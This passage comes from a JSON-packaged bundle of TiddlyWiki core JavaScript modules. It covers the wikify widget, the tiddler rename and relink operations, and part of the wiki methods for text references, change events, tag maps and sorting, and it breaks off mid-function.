this.wiki.parseText(\"text/vnd.tiddlywiki\",actions,{\n\t\t\tparentWidget: this,\n\t\t\tdocument: this.document\n\t\t}),\n\t\twidgetNode = this.wiki.makeWidget(parser,{\n\t\t\tparentWidget: this,\n\t\t\tdocument: this.document,\n\t\t\tvariables: variables\n\t\t});\n\tvar container = this.document.createElement(\"div\");\n\twidgetNode.render(container,null);\n\treturn widgetNode.invokeActions(this,event);\n};\n\nWidget.prototype.allowActionPropagation = function() {\n\treturn true;\n};\n\nexports.widget = Widget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/wikify.js": {
            "title": "$:/core/modules/widgets/wikify.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/wikify.js\ntype: application/javascript\nmodule-type: widget\n\nWidget to wikify text into a variable\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar WikifyWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nWikifyWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nWikifyWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nWikifyWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.wikifyName = this.getAttribute(\"name\");\n\tthis.wikifyText = this.getAttribute(\"text\");\n\tthis.wikifyType = this.getAttribute(\"type\");\n\tthis.wikifyMode = this.getAttribute(\"mode\",\"block\");\n\tthis.wikifyOutput = this.getAttribute(\"output\",\"text\");\n\t// Create the parse tree\n\tthis.wikifyParser = this.wiki.parseText(this.wikifyType,this.wikifyText,{\n\t\t\tparseAsInline: this.wikifyMode === \"inline\"\n\t\t});\n\t// Create the widget tree \n\tthis.wikifyWidgetNode = this.wiki.makeWidget(this.wikifyParser,{\n\t\t\tdocument: $tw.fakeDocument,\n\t\t\tparentWidget: this\n\t\t});\n\t// Render the widget tree to the container\n\tthis.wikifyContainer = $tw.fakeDocument.createElement(\"div\");\n\tthis.wikifyWidgetNode.render(this.wikifyContainer,null);\n\tthis.wikifyResult = this.getResult();\n\t// Set context variable\n\tthis.setVariable(this.wikifyName,this.wikifyResult);\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nReturn the result string\n*/\nWikifyWidget.prototype.getResult = function() {\n\tvar result;\n\tswitch(this.wikifyOutput) {\n\t\tcase \"text\":\n\t\t\tresult = this.wikifyContainer.textContent;\n\t\t\tbreak;\n\t\tcase \"formattedtext\":\n\t\t\tresult = this.wikifyContainer.formattedTextContent;\n\t\t\tbreak;\n\t\tcase \"html\":\n\t\t\tresult = this.wikifyContainer.innerHTML;\n\t\t\tbreak;\n\t\tcase \"parsetree\":\n\t\t\tresult = JSON.stringify(this.wikifyParser.tree,0,$tw.config.preferences.jsonSpaces);\n\t\t\tbreak;\n\t\tcase \"widgettree\":\n\t\t\tresult = JSON.stringify(this.getWidgetTree(),0,$tw.config.preferences.jsonSpaces);\n\t\t\tbreak;\n\t}\n\treturn result;\n};\n\n/*\nReturn a string of the widget tree\n*/\nWikifyWidget.prototype.getWidgetTree = function() {\n\tvar copyNode = function(widgetNode,resultNode) {\n\t\t\tvar type = widgetNode.parseTreeNode.type;\n\t\t\tresultNode.type = type;\n\t\t\tswitch(type) {\n\t\t\t\tcase \"element\":\n\t\t\t\t\tresultNode.tag = widgetNode.parseTreeNode.tag;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"text\":\n\t\t\t\t\tresultNode.text = widgetNode.parseTreeNode.text;\n\t\t\t\t\tbreak;\t\n\t\t\t}\n\t\t\tif(Object.keys(widgetNode.attributes || {}).length > 0) {\n\t\t\t\tresultNode.attributes = {};\n\t\t\t\t$tw.utils.each(widgetNode.attributes,function(attr,attrName) {\n\t\t\t\t\tresultNode.attributes[attrName] = widgetNode.getAttribute(attrName);\n\t\t\t\t});\n\t\t\t}\n\t\t\tif(Object.keys(widgetNode.children || {}).length > 0) {\n\t\t\t\tresultNode.children = [];\n\t\t\t\t$tw.utils.each(widgetNode.children,function(widgetChildNode) {\n\t\t\t\t\tvar node = {};\n\t\t\t\t\tresultNode.children.push(node);\n\t\t\t\t\tcopyNode(widgetChildNode,node);\n\t\t\t\t});\n\t\t\t}\n\t\t},\n\t\tresults = {};\n\tcopyNode(this.wikifyWidgetNode,results);\n\treturn results;\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nWikifyWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\t// Refresh ourselves entirely if any of our attributes have changed\n\tif(changedAttributes.name || changedAttributes.text || changedAttributes.type || changedAttributes.mode || changedAttributes.output) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\t// Refresh the widget tree\n\t\tif(this.wikifyWidgetNode.refresh(changedTiddlers)) {\n\t\t\t// Check if there was any change\n\t\t\tvar result = this.getResult();\n\t\t\tif(result !== this.wikifyResult) {\n\t\t\t\t// If so, save the change\n\t\t\t\tthis.wikifyResult = result;\n\t\t\t\tthis.setVariable(this.wikifyName,this.wikifyResult);\n\t\t\t\t// Refresh each of our child widgets\n\t\t\t\t$tw.utils.each(this.children,function(childWidget) {\n\t\t\t\t\tchildWidget.refreshSelf();\n\t\t\t\t});\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\t// Just refresh the children\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.wikify = WikifyWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/wiki-bulkops.js": {
            "title": "$:/core/modules/wiki-bulkops.js",
            "text": "/*\\\ntitle: $:/core/modules/wiki-bulkops.js\ntype: application/javascript\nmodule-type: wikimethod\n\nBulk tiddler operations such as rename.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nRename a tiddler, and relink any tags or lists that reference it.\n*/\nfunction renameTiddler(fromTitle,toTitle,options) {\n\tfromTitle = (fromTitle || \"\").trim();\n\ttoTitle = (toTitle || \"\").trim();\n\toptions = options || {};\n\tif(fromTitle && toTitle && fromTitle !== toTitle) {\n\t\t// Rename the tiddler itself\n\t\tvar oldTiddler = this.getTiddler(fromTitle),\n\t\t\tnewTiddler = new $tw.Tiddler(oldTiddler,{title: toTitle},this.getModificationFields());\n\t\tnewTiddler = $tw.hooks.invokeHook(\"th-renaming-tiddler\",newTiddler,oldTiddler);\n\t\tthis.addTiddler(newTiddler);\n\t\tthis.deleteTiddler(fromTitle);\n\t\t// Rename any tags or lists that reference it\n\t\tthis.relinkTiddler(fromTitle,toTitle,options)\n\t}\n}\n\n/*\nRelink any tags or lists that reference a given tiddler\n*/\nfunction relinkTiddler(fromTitle,toTitle,options) {\n\tvar self = this;\n\tfromTitle = (fromTitle || \"\").trim();\n\ttoTitle = (toTitle || \"\").trim();\n\toptions = options || {};\n\tif(fromTitle && toTitle && fromTitle !== toTitle) {\n\t\tthis.each(function(tiddler,title) {\n\t\t\tvar type = tiddler.fields.type || \"\";\n\t\t\t// Don't touch plugins or JavaScript modules\n\t\t\tif(!tiddler.fields[\"plugin-type\"] && type !== \"application/javascript\") {\n\t\t\t\tvar tags = (tiddler.fields.tags || []).slice(0),\n\t\t\t\t\tlist = (tiddler.fields.list || []).slice(0),\n\t\t\t\t\tisModified = false;\n\t\t\t\tif(!options.dontRenameInTags) {\n\t\t\t\t\t// Rename tags\n\t\t\t\t\t$tw.utils.each(tags,function (title,index) {\n\t\t\t\t\t\tif(title === fromTitle) {\nconsole.log(\"Renaming tag '\" + tags[index] + \"' to '\" + toTitle + \"' of tiddler '\" + tiddler.fields.title + \"'\");\n\t\t\t\t\t\t\ttags[index] = toTitle;\n\t\t\t\t\t\t\tisModified = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tif(!options.dontRenameInLists) {\n\t\t\t\t\t// Rename lists\n\t\t\t\t\t$tw.utils.each(list,function (title,index) {\n\t\t\t\t\t\tif(title === fromTitle) {\nconsole.log(\"Renaming list item '\" + list[index] + \"' to '\" + toTitle + \"' of tiddler '\" + tiddler.fields.title + \"'\");\n\t\t\t\t\t\t\tlist[index] = toTitle;\n\t\t\t\t\t\t\tisModified = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tif(isModified) {\n\t\t\t\t\tvar newTiddler = new $tw.Tiddler(tiddler,{tags: tags, list: list},self.getModificationFields())\n\t\t\t\t\tnewTiddler = $tw.hooks.invokeHook(\"th-relinking-tiddler\",newTiddler,tiddler);\n\t\t\t\t\tself.addTiddler(newTiddler);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n};\n\nexports.renameTiddler = renameTiddler;\nexports.relinkTiddler = relinkTiddler;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikimethod"
        },
        "$:/core/modules/wiki.js": {
            "title": "$:/core/modules/wiki.js",
            "text": "/*\\\ntitle: $:/core/modules/wiki.js\ntype: application/javascript\nmodule-type: wikimethod\n\nExtension methods for the $tw.Wiki object\n\nAdds the following properties to the wiki object:\n\n* `eventListeners` is a hashmap by type of arrays of listener functions\n* `changedTiddlers` is a hashmap describing changes to named tiddlers since wiki change events were last dispatched. Each entry is a hashmap containing two fields:\n\tmodified: true/false\n\tdeleted: true/false\n* `changeCount` is a hashmap by tiddler title containing a numerical index that starts at zero and is incremented each time a tiddler is created changed or deleted\n* `caches` is a hashmap by tiddler title containing a further hashmap of named cache objects. Caches are automatically cleared when a tiddler is modified or deleted\n* `globalCache` is a hashmap by cache name of cache objects that are cleared whenever any tiddler change occurs\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nvar USER_NAME_TITLE = \"$:/status/UserName\",\n\tTIMESTAMP_DISABLE_TITLE = \"$:/config/TimestampDisable\";\n\n/*\nGet the value of a text reference. Text references can have any of these forms:\n\t<tiddlertitle>\n\t<tiddlertitle>!!<fieldname>\n\t!!<fieldname> - specifies a field of the current tiddlers\n\t<tiddlertitle>##<index>\n*/\nexports.getTextReference = function(textRef,defaultText,currTiddlerTitle) {\n\tvar tr = $tw.utils.parseTextReference(textRef),\n\t\ttitle = tr.title || currTiddlerTitle;\n\tif(tr.field) {\n\t\tvar tiddler = this.getTiddler(title);\n\t\tif(tr.field === \"title\") { // Special case so we can return the title of a non-existent tiddler\n\t\t\treturn title;\n\t\t} else if(tiddler && $tw.utils.hop(tiddler.fields,tr.field)) {\n\t\t\treturn tiddler.getFieldString(tr.field);\n\t\t} else {\n\t\t\treturn defaultText;\n\t\t}\n\t} else if(tr.index) {\n\t\treturn this.extractTiddlerDataItem(title,tr.index,defaultText);\n\t} else {\n\t\treturn this.getTiddlerText(title,defaultText);\n\t}\n};\n\nexports.setTextReference = function(textRef,value,currTiddlerTitle) {\n\tvar tr = $tw.utils.parseTextReference(textRef),\n\t\ttitle = tr.title || currTiddlerTitle;\n\tthis.setText(title,tr.field,tr.index,value);\n};\n\nexports.setText = function(title,field,index,value,options) {\n\toptions = options || {};\n\tvar creationFields = options.suppressTimestamp ? {} : this.getCreationFields(),\n\t\tmodificationFields = options.suppressTimestamp ? {} : this.getModificationFields();\n\t// Check if it is a reference to a tiddler field\n\tif(index) {\n\t\tvar data = this.getTiddlerData(title,Object.create(null));\n\t\tif(value !== undefined) {\n\t\t\tdata[index] = value;\n\t\t} else {\n\t\t\tdelete data[index];\n\t\t}\n\t\tthis.setTiddlerData(title,data,modificationFields);\n\t} else {\n\t\tvar tiddler = this.getTiddler(title),\n\t\t\tfields = {title: title};\n\t\tfields[field || \"text\"] = value;\n\t\tthis.addTiddler(new $tw.Tiddler(creationFields,tiddler,fields,modificationFields));\n\t}\n};\n\nexports.deleteTextReference = function(textRef,currTiddlerTitle) {\n\tvar tr = $tw.utils.parseTextReference(textRef),\n\t\ttitle,tiddler,fields;\n\t// Check if it is a reference to a tiddler\n\tif(tr.title && !tr.field) {\n\t\tthis.deleteTiddler(tr.title);\n\t// Else check for a field reference\n\t} else if(tr.field) {\n\t\ttitle = tr.title || currTiddlerTitle;\n\t\ttiddler = this.getTiddler(title);\n\t\tif(tiddler && $tw.utils.hop(tiddler.fields,tr.field)) {\n\t\t\tfields = Object.create(null);\n\t\t\tfields[tr.field] = undefined;\n\t\t\tthis.addTiddler(new $tw.Tiddler(tiddler,fields,this.getModificationFields()));\n\t\t}\n\t}\n};\n\nexports.addEventListener = function(type,listener) {\n\tthis.eventListeners = this.eventListeners || {};\n\tthis.eventListeners[type] = this.eventListeners[type]  || [];\n\tthis.eventListeners[type].push(listener);\t\n};\n\nexports.removeEventListener = function(type,listener) {\n\tvar listeners = this.eventListeners[type];\n\tif(listeners) {\n\t\tvar p = listeners.indexOf(listener);\n\t\tif(p !== -1) {\n\t\t\tlisteners.splice(p,1);\n\t\t}\n\t}\n};\n\nexports.dispatchEvent = function(type /*, args */) {\n\tvar args = Array.prototype.slice.call(arguments,1),\n\t\tlisteners = this.eventListeners[type];\n\tif(listeners) {\n\t\tfor(var p=0; p<listeners.length; p++) {\n\t\t\tvar listener = listeners[p];\n\t\t\tlistener.apply(listener,args);\n\t\t}\n\t}\n};\n\n/*\nCauses a tiddler to be marked as changed, incrementing the change count, and triggers event handlers.\nThis method should be called after the changes it describes have been made to the wiki.tiddlers[] array.\n\ttitle: Title of tiddler\n\tisDeleted: defaults to false (meaning the tiddler has been created or modified),\n\t\ttrue if the tiddler has been deleted\n*/\nexports.enqueueTiddlerEvent = function(title,isDeleted) {\n\t// Record the touch in the list of changed tiddlers\n\tthis.changedTiddlers = this.changedTiddlers || Object.create(null);\n\tthis.changedTiddlers[title] = this.changedTiddlers[title] || Object.create(null);\n\tthis.changedTiddlers[title][isDeleted ? \"deleted\" : \"modified\"] = true;\n\t// Increment the change count\n\tthis.changeCount = this.changeCount || Object.create(null);\n\tif($tw.utils.hop(this.changeCount,title)) {\n\t\tthis.changeCount[title]++;\n\t} else {\n\t\tthis.changeCount[title] = 1;\n\t}\n\t// Trigger events\n\tthis.eventListeners = this.eventListeners || {};\n\tif(!this.eventsTriggered) {\n\t\tvar self = this;\n\t\t$tw.utils.nextTick(function() {\n\t\t\tvar changes = self.changedTiddlers;\n\t\t\tself.changedTiddlers = Object.create(null);\n\t\t\tself.eventsTriggered = false;\n\t\t\tif($tw.utils.count(changes) > 0) {\n\t\t\t\tself.dispatchEvent(\"change\",changes);\n\t\t\t}\n\t\t});\n\t\tthis.eventsTriggered = true;\n\t}\n};\n\nexports.getSizeOfTiddlerEventQueue = function() {\n\treturn $tw.utils.count(this.changedTiddlers);\n};\n\nexports.clearTiddlerEventQueue = function() {\n\tthis.changedTiddlers = Object.create(null);\n\tthis.changeCount = Object.create(null);\n};\n\nexports.getChangeCount = function(title) {\n\tthis.changeCount = this.changeCount || Object.create(null);\n\tif($tw.utils.hop(this.changeCount,title)) {\n\t\treturn this.changeCount[title];\n\t} else {\n\t\treturn 0;\n\t}\n};\n\n/*\nGenerate an unused title from the specified base\n*/\nexports.generateNewTitle = function(baseTitle,options) {\n\toptions = options || {};\n\tvar c = 0,\n\t\ttitle = baseTitle;\n\twhile(this.tiddlerExists(title) || this.isShadowTiddler(title) || this.findDraft(title)) {\n\t\ttitle = baseTitle + \n\t\t\t(options.prefix || \" \") + \n\t\t\t(++c);\n\t}\n\treturn title;\n};\n\nexports.isSystemTiddler = function(title) {\n\treturn title && title.indexOf(\"$:/\") === 0;\n};\n\nexports.isTemporaryTiddler = function(title) {\n\treturn title && title.indexOf(\"$:/temp/\") === 0;\n};\n\nexports.isImageTiddler = function(title) {\n\tvar tiddler = this.getTiddler(title);\n\tif(tiddler) {\t\t\n\t\tvar contentTypeInfo = $tw.config.contentTypeInfo[tiddler.fields.type || \"text/vnd.tiddlywiki\"];\n\t\treturn !!contentTypeInfo && contentTypeInfo.flags.indexOf(\"image\") !== -1;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n/*\nLike addTiddler() except it will silently reject any plugin tiddlers that are older than the currently loaded version. Returns true if the tiddler was imported\n*/\nexports.importTiddler = function(tiddler) {\n\tvar existingTiddler = this.getTiddler(tiddler.fields.title);\n\t// Check if we're dealing with a plugin\n\tif(tiddler && tiddler.hasField(\"plugin-type\") && tiddler.hasField(\"version\") && existingTiddler && existingTiddler.hasField(\"plugin-type\") && existingTiddler.hasField(\"version\")) {\n\t\t// Reject the incoming plugin if it is older\n\t\tif(!$tw.utils.checkVersions(tiddler.fields.version,existingTiddler.fields.version)) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t// Fall through to adding the tiddler\n\tthis.addTiddler(tiddler);\n\treturn true;\n};\n\n/*\nReturn a hashmap of the fields that should be set when a tiddler is created\n*/\nexports.getCreationFields = function() {\n\tif(this.getTiddlerText(TIMESTAMP_DISABLE_TITLE,\"\").toLowerCase() !== \"yes\") {\n\t\tvar fields = {\n\t\t\t\tcreated: new Date()\n\t\t\t},\n\t\t\tcreator = this.getTiddlerText(USER_NAME_TITLE);\n\t\tif(creator) {\n\t\t\tfields.creator = creator;\n\t\t}\n\t\treturn fields;\n\t} else {\n\t\treturn {};\n\t}\n};\n\n/*\nReturn a hashmap of the fields that should be set when a tiddler is modified\n*/\nexports.getModificationFields = function() {\n\tif(this.getTiddlerText(TIMESTAMP_DISABLE_TITLE,\"\").toLowerCase() !== \"yes\") {\n\t\tvar fields = Object.create(null),\n\t\t\tmodifier = this.getTiddlerText(USER_NAME_TITLE);\n\t\tfields.modified = new Date();\n\t\tif(modifier) {\n\t\t\tfields.modifier = modifier;\n\t\t}\n\t\treturn fields;\n\t} else {\n\t\treturn {};\n\t}\n};\n\n/*\nReturn a sorted array of tiddler titles.  Options include:\nsortField: field to sort by\nexcludeTag: tag to exclude\nincludeSystem: whether to include system tiddlers (defaults to false)\n*/\nexports.getTiddlers = function(options) {\n\toptions = options || Object.create(null);\n\tvar self = this,\n\t\tsortField = options.sortField || \"title\",\n\t\ttiddlers = [], t, titles = [];\n\tthis.each(function(tiddler,title) {\n\t\tif(options.includeSystem || !self.isSystemTiddler(title)) {\n\t\t\tif(!options.excludeTag || !tiddler.hasTag(options.excludeTag)) {\n\t\t\t\ttiddlers.push(tiddler);\n\t\t\t}\n\t\t}\n\t});\n\ttiddlers.sort(function(a,b) {\n\t\tvar aa = a.fields[sortField].toLowerCase() || \"\",\n\t\t\tbb = b.fields[sortField].toLowerCase() || \"\";\n\t\tif(aa < bb) {\n\t\t\treturn -1;\n\t\t} else {\n\t\t\tif(aa > bb) {\n\t\t\t\treturn 1;\n\t\t\t} else {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t});\n\tfor(t=0; t<tiddlers.length; t++) {\n\t\ttitles.push(tiddlers[t].fields.title);\n\t}\n\treturn titles;\n};\n\nexports.countTiddlers = function(excludeTag) {\n\tvar tiddlers = this.getTiddlers({excludeTag: excludeTag});\n\treturn $tw.utils.count(tiddlers);\n};\n\n/*\nReturns a function iterator(callback) that iterates through the specified titles, and invokes the callback with callback(tiddler,title)\n*/\nexports.makeTiddlerIterator = function(titles) {\n\tvar self = this;\n\tif(!$tw.utils.isArray(titles)) {\n\t\ttitles = Object.keys(titles);\n\t} else {\n\t\ttitles = titles.slice(0);\n\t}\n\treturn function(callback) {\n\t\ttitles.forEach(function(title) {\n\t\t\tcallback(self.getTiddler(title),title);\n\t\t});\n\t};\n};\n\n/*\nSort an array of tiddler titles by a specified field\n\ttitles: array of titles (sorted in place)\n\tsortField: name of field to sort by\n\tisDescending: true if the sort should be descending\n\tisCaseSensitive: true if the sort should consider upper and lower case letters to be different\n*/\nexports.sortTiddlers = function(titles,sortField,isDescending,isCaseSensitive,isNumeric,isAlphaNumeric) {\n\tvar self = this;\n\ttitles.sort(function(a,b) {\n\t\tvar x,y,\n\t\t\tcompareNumbers = function(x,y) {\n\t\t\t\tvar result = \n\t\t\t\t\tisNaN(x) && !isNaN(y) ? (isDescending ? -1 : 1) :\n\t\t\t\t\t!isNaN(x) && isNaN(y) ? (isDescending ? 1 : -1) :\n\t\t\t\t\t\t\t\t\t\t\t(isDescending ? y - x :  x - y);\n\t\t\t\treturn result;\n\t\t\t};\n\t\tif(sortField !== \"title\") {\n\t\t\tvar tiddlerA = self.getTiddler(a),\n\t\t\t\ttiddlerB = self.getTiddler(b);\n\t\t\tif(tiddlerA) {\n\t\t\t\ta = tiddlerA.fields[sortField] || \"\";\n\t\t\t} else {\n\t\t\t\ta = \"\";\n\t\t\t}\n\t\t\tif(tiddlerB) {\n\t\t\t\tb = tiddlerB.fields[sortField] || \"\";\n\t\t\t} else {\n\t\t\t\tb = \"\";\n\t\t\t}\n\t\t}\n\t\tx = Number(a);\n\t\ty = Number(b);\n\t\tif(isNumeric && (!isNaN(x) || !isNaN(y))) {\n\t\t\treturn compareNumbers(x,y);\n\t\t} else if(isAlphaNumeric) {\n\t\t\treturn isDescending ? b.localeCompare(a,undefined,{numeric: true,sensitivity: \"base\"}) : a.localeCompare(b,undefined,{numeric: true,sensitivity: \"base\"});\n\t\t} else if($tw.utils.isDate(a) && $tw.utils.isDate(b)) {\n\t\t\treturn isDescending ? b - a : a - b;\n\t\t} else {\n\t\t\ta = String(a);\n\t\t\tb = String(b);\n\t\t\tif(!isCaseSensitive) {\n\t\t\t\ta = a.toLowerCase();\n\t\t\t\tb = b.toLowerCase();\n\t\t\t}\n\t\t\treturn isDescending ? b.localeCompare(a) : a.localeCompare(b);\n\t\t}\n\t});\n};\n\n/*\nFor every tiddler invoke a callback(title,tiddler) with `this` set to the wiki object. Options include:\nsortField: field to sort by\nexcludeTag: tag to exclude\nincludeSystem: whether to include system tiddlers (defaults to false)\n*/\nexports.forEachTiddler = function(/* [options,]callback */) {\n\tvar arg = 0,\n\t\toptions = arguments.length >= 2 ? arguments[arg++] : {},\n\t\tcallback = arguments[arg++],\n\t\ttitles = this.getTiddlers(options),\n\t\tt, tiddler;\n\tfor(t=0; t<titles.length; t++) {\n\t\ttiddler = this.getTiddler(titles[t]);\n\t\tif(tiddler) {\n\t\t\tcallback.call(this,tiddler.fields.title,tiddler);\n\t\t}\n\t}\n};\n\n/*\nReturn an array of tiddler titles that are directly linked from the specified tiddler\n*/\nexports.getTiddlerLinks = function(title) {\n\tvar self = this;\n\t// We'll cache the links so they only get computed if the tiddler changes\n\treturn this.getCacheForTiddler(title,\"links\",function() {\n\t\t// Parse the tiddler\n\t\tvar parser = self.parseTiddler(title);\n\t\t// Count up the links\n\t\tvar links = [],\n\t\t\tcheckParseTree = function(parseTree) {\n\t\t\t\tfor(var t=0; t<parseTree.length; t++) {\n\t\t\t\t\tvar parseTreeNode = parseTree[t];\n\t\t\t\t\tif(parseTreeNode.type === \"link\" && parseTreeNode.attributes.to && parseTreeNode.attributes.to.type === \"string\") {\n\t\t\t\t\t\tvar value = parseTreeNode.attributes.to.value;\n\t\t\t\t\t\tif(links.indexOf(value) === -1) {\n\t\t\t\t\t\t\tlinks.push(value);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(parseTreeNode.children) {\n\t\t\t\t\t\tcheckParseTree(parseTreeNode.children);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\tif(parser) {\n\t\t\tcheckParseTree(parser.tree);\n\t\t}\n\t\treturn links;\n\t});\n};\n\n/*\nReturn an array of tiddler titles that link to the specified tiddler\n*/\nexports.getTiddlerBacklinks = function(targetTitle) {\n\tvar self = this,\n\t\tbacklinks = [];\n\tthis.forEachTiddler(function(title,tiddler) {\n\t\tvar links = self.getTiddlerLinks(title);\n\t\tif(links.indexOf(targetTitle) !== -1) {\n\t\t\tbacklinks.push(title);\n\t\t}\n\t});\n\treturn backlinks;\n};\n\n/*\nReturn a hashmap of tiddler titles that are referenced but not defined. Each value is the number of times the missing tiddler is referenced\n*/\nexports.getMissingTitles = function() {\n\tvar self = this,\n\t\tmissing = [];\n// We should cache the missing tiddler list, even if we recreate it every time any tiddler is modified\n\tthis.forEachTiddler(function(title,tiddler) {\n\t\tvar links = self.getTiddlerLinks(title);\n\t\t$tw.utils.each(links,function(link) {\n\t\t\tif((!self.tiddlerExists(link) && !self.isShadowTiddler(link)) && missing.indexOf(link) === -1) {\n\t\t\t\tmissing.push(link);\n\t\t\t}\n\t\t});\n\t});\n\treturn missing;\n};\n\nexports.getOrphanTitles = function() {\n\tvar self = this,\n\t\torphans = this.getTiddlers();\n\tthis.forEachTiddler(function(title,tiddler) {\n\t\tvar links = self.getTiddlerLinks(title);\n\t\t$tw.utils.each(links,function(link) {\n\t\t\tvar p = orphans.indexOf(link);\n\t\t\tif(p !== -1) {\n\t\t\t\torphans.splice(p,1);\n\t\t\t}\n\t\t});\n\t});\n\treturn orphans; // Todo\n};\n\n/*\nRetrieves a list of the tiddler titles that are tagged with a given tag\n*/\nexports.getTiddlersWithTag = function(tag) {\n\tvar self = this;\n\treturn this.getGlobalCache(\"taglist-\" + tag,function() {\n\t\tvar tagmap = self.getTagMap();\n\t\treturn self.sortByList(tagmap[tag],tag);\n\t});\n};\n\n/*\nGet a hashmap by tag of arrays of tiddler titles\n*/\nexports.getTagMap = function() {\n\tvar self = this;\n\treturn this.getGlobalCache(\"tagmap\",function() {\n\t\tvar tags = Object.create(null),\n\t\t\tstoreTags = function(tagArray,title) {\n\t\t\t\tif(tagArray) {\n\t\t\t\t\tfor(var index=0; index<tagArray.length; index++) {\n\t\t\t\t\t\tvar tag = tagArray[index];\n\t\t\t\t\t\tif($tw.utils.hop(tags,tag)) {\n\t\t\t\t\t\t\ttags[tag].push(title);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\ttags[tag] = [title];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t\ttitle, tiddler;\n\t\t// Collect up all the tags\n\t\tself.eachShadow(function(tiddler,title) {\n\t\t\tif(!self.tiddlerExists(title)) {\n\t\t\t\ttiddler = self.getTiddler(title);\n\t\t\t\tstoreTags(tiddler.fields.tags,title);\n\t\t\t}\n\t\t});\n\t\tself.each(function(tiddler,title) {\n\t\t\tstoreTags(tiddler.fields.tags,title);\n\t\t});\n\t\treturn tags;\n\t});\n};\n\n/*\nLookup a given tiddler and return a list of all the tiddlers that include it in the specified list field\n*/\nexports.findListingsOfTiddler = function(targetTitle,fieldName) {\n\tfieldName = fieldName || \"list\";\n\tvar titles = [];\n\tthis.each(function(tiddler,title) {\n\t\tvar list = $tw.utils.parseStringArray(tiddler.fields[fieldName]);\n\t\tif(list && list.indexOf(targetTitle) !== -1) {\n\t\t\ttitles.push(title);\n\t\t}\n\t});\n\treturn titles;\n};\n\n/*\nSorts an array of tiddler titles according to an ordered list\n*/\nexports.sortByList = function(array,listTitle) {\n\tvar self = this,\n\t\treplacedTitles = Object.create(null);\n\tfunction replaceItem(title) {\n\t\tif(!$tw.utils.hop(replacedTitles, title)) {\n\t\t\treplacedTitles[title] = true;\n\t\t\tvar newPos = -1,\n\t\t\t\ttiddler = self.getTiddler(title);\n\t\t\tif(tiddler) {\n\t\t\t\tvar beforeTitle = tiddler.fields[\"list-before\"],\n\t\t\t\t\tafterTitle = tiddler.fields[\"list-after\"];\n\t\t\t\tif(beforeTitle === \"\") {\n\t\t\t\t\tnewPos = 0;\n\t\t\t\t} else if(afterTitle === \"\") {\n\t\t\t\t\tnewPos = titles.length;\n\t\t\t\t} else if(beforeTitle) {\n\t\t\t\t\treplaceItem(beforeTitle);\n\t\t\t\t\tnewPos = titles.indexOf(beforeTitle);\n\t\t\t\t} else if(afterTitle) {\n\t\t\t\t\treplaceItem(afterTitle);\n\t\t\t\t\tnewPos = titles.indexOf(afterTitle);\n\t\t\t\t\tif(newPos >= 0) {\n\t\t\t\t\t\t++newPos;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// We get the currPos //after// figuring out the newPos, because recursive replaceItem calls might alter title's currPos\n\t\t\t\tvar currPos = titles.indexOf(title);\n\t\t\t\tif(newPos === -1) {\n\t\t\t\t\tnewPos = currPos;\n\t\t\t\t}\n\t\t\t\tif(currPos >= 0 && newPos !== currPos) {\n\t\t\t\t\ttitles.splice(currPos,1);\n\t\t\t\t\tif(newPos >= currPos) {\n\t\t\t\t\t\tnewPos--;\n\t\t\t\t\t}\n\t\t\t\t\ttitles.splice(newPos,0,title);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tvar list = this.getTiddlerList(listTitle);\n\tif(!array || array.length === 0) {\n\t\treturn [];\n\t} else {\n\t\tvar titles = [], t, title;\n\t\t// First place any entries that are present in the list\n\t\tfor(t=0; t<list.length; t++) {\n\t\t\ttitle = list[t];\n\t\t\tif(array.indexOf(title) !== -1) {\n\t\t\t\ttitles.push(title);\n\t\t\t}\n\t\t}\n\t\t// Then place any remaining entries\n\t\tfor(t=0; t<array.length; t++) {\n\t\t\ttitle = array[t];\n\t\t\tif(list.indexOf(title) === -1) {\n\t\t\t\ttitles.push(title);\n\t\t\t}\n\t\t}\n\t\t// Finally obey the list-before and list-after fields of each tiddler in turn\n\t\tvar sortedTitles = titles.slice(0);\n\t\tfor(t=0; t<sortedTitles.length; t++) {\n\t\t\ttitle = 